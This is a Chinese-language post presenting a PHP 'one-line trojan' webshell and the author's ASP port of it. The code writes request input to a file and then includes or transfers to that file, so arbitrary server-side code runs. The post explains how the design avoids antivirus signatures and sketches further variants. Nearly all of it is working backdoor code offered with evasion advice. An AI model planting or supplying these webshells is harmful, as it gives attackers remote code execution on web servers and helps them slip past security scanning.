ASP一句话木马原理修改版
原PHP版: <?php
/*此作品原理为PHP本地文件包含 */
if(isset($_GET[muj])) //只有get过来muj的时候才会执行,避免的一访问就执行的尴尬
{
$fp=fopen('houzi.txt',w); //在当前目录生成houzi/txt(注:其实这句没必要)
file_put_contents('houzi.txt',"<?php\r\n"); //在houzi.txt中写入<?php且换行
file_put_contents('houzi.txt',$_GET[mujj],FILE_APPEND);
//用追加的方式在<?php后面mujj传过来的内容
fclose($fp); // 关闭资源 (注:其实这句没必要)
require 'houzi.txt';} // 关键的一句,文件包含,于是后门产生
?>这个PHP一句话的巧妙就巧妙在于动态生成文件再动态引用文件,不带任何病毒特征,于是我将其修改成为ASP版:
<%
Dim o,j
Set o=CreateObject("Scripting.FileSystemobject") '创建FSO对象
Set j=o.CreateTextFile(Server.Mappath("test.txt")) '创建待写入文本
j.WriteLine "<"&"%"&Request("test")&"%"&">" '写入文本
j.Close
Server.Transfer "test.txt" '转移控制权
'后面的代码其实在Server.Transfer后已经没有任何用处了
o.DeleteFile Server.Mappath("test.txt")
Set j=Nothing
Set o=Nothing
%>
为什么我要这么写呢?
大家都知道,PHP有require和require_once来实现动态包含文件。但是,ASP的包含文件只有两种:
<!-- #include file\virtual="FilePath" -->
Server.Execute Server.MapPath(FilePath)第一种方式是现在大部分ASP程序员都会使用的方式,用它来包含文件是再好不过的了。但是它不适合这个一句话,原因在于:
它包含的文件必须事先已经存在,如果不存在直接报错。
第二种方式,能动态包含文件,但是代码无法使用被包含文件的全局变量
由于这个缺陷,几乎没有程序员会使用它。所以,这个函数会被大部分病毒查杀软件拉入黑名单。
所以,这里用了Server.Transfer来重定向到一个新的文件。
当然,基于这个思路,我们还可做出其他版本,如:
把写入的文件扩展名改为ASP,Server.Transfer改成Response.Redirect,直接执行ASP
把写入的文件设置为文件自身,Server.Transfer改成Response.Write "<script>location.reload()</script>"后Response.End
这种方法的可怕之处在于其根本没有病毒的特征,静态查杀极难识别,只能根据文件写入的操作来识别。真是“道高一尺,魔高一丈”啊!